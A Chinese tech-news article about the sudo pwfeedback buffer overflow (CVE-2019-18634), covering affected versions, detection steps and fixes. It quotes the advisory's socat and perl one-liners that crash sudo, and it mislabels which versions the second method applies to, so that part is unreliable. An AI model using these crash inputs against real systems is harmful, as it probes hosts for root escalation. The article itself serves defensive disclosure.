Linux又爆高危漏洞,黑客可利用sudo获得Linux root权限

2020-10-31 15:00 科技扫地僧

2020年1月30号,sudo爆出目前sudo工具的一个高危漏洞,漏洞编号为:CVE-2019-18634,黑客可通过工具获得Linux的root权限(root具有Linux操作系统的最高权限)。

Linux又爆高危漏洞,黑客可利用sudo获得Linux root权限

Linux 漏洞

sudo 是Unix和Linux操作系统广泛使用的工具,这次漏洞是一个是一个堆栈缓冲溢出 bug,这个漏洞在启用了 pwfeedback 的系统中很容易利用,该漏洞让非特权用户很容易通过缓冲溢出获得 root 权限,不需要攻击者有 Sudo 使用权限。

在 Sudo 上游版本中,pwfeedback 没有默认启用,但在下游发行版如 Linux Mint 和 Elementary OS 中,pwfeedback 被默认启用了。主要影响的版本:从v1.7.1 到 1.8.25p1,ubuntu版本不受该漏洞影响,最新的1.8.31已修复了该漏洞,请大家及时更新到最新的版本。

Linux又爆高危漏洞,黑客可利用sudo获得Linux root权限

1.查看自己系统是否存在该漏洞

1、先通过sudo --version命令查看当前sudo的版本信息。

$ sudo --version
Sudo version 1.8.25p1
Sudoers policy plugin version 1.8.25p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.25p1

2、通过sudo -l查看 pwfeedback是否启用,如果存在pwfeedback字样则说明已启用否则没有;

$ sudo -l
    Matching Defaults entries for millert on linux-build:
	insults, pwfeedback, mail_badpass, mailerpath=/usr/sbin/sendmail

    User millert may run the following commands on linux-build:
	(ALL : ALL) ALL

2.如何利用该漏洞

1、在1.8.26之前的版本

利用该漏洞,不需要登录的用户有sudo权限,可以利用无法写入的伪终端,向sudo -k 传入超长字符串。原文为:The bug can be reproduced by passing a large input with embedded terminal kill characters to sudo from a pseudo-terminal that cannot be written to.

For example, using the socat utility and assuming the terminal kill character is set to control-U (0x15):
    $ socat pty,link=/tmp/pty,waitslave exec:"perl -e 'print((\"A\" x 100 . chr(0x15)) x 50)'" &
    $ sudo -S -k id < /tmp/pty
    Password: Segmentation fault (core dumped)

2.在1.8.26之后的版本,只要向sudo 传输一个超长字符串

For sudo versions prior to 1.8.26, and on systems with uni-directional pipes, reproducing the bug is simpler. Here, the terminal kill character is set to the NUL character (0x00) since sudo is not reading from a terminal. This method is not effective in newer versions of sudo due to a change in EOF handling introduced in 1.8.26.

    $ perl -e 'print(("A" x 100 . chr(0)) x 50)' | sudo -S -k id
    Password: Segmentation fault (core dumped)

3.解决方法

1、临时解决方法:

修改/etc/sudoers 文件,关闭pwfeedback 功能,把该文件中下面这行:

Defaults pwfeedback

改为

Defaults !pwfeedback

我们检查一下我们系统:

Linux又爆高危漏洞,黑客可利用sudo获得Linux root权限

2、彻底解决方法:

升级系统的sudo,升级到最新的版本1.8.31以上即可.

为了保证安全,请大家尽快修复该漏洞!

本文地址:http://www.356368.com/news/117046.html

除非注明,否则均为356创业网原创文章,转载请注明出处!

延伸 · 阅读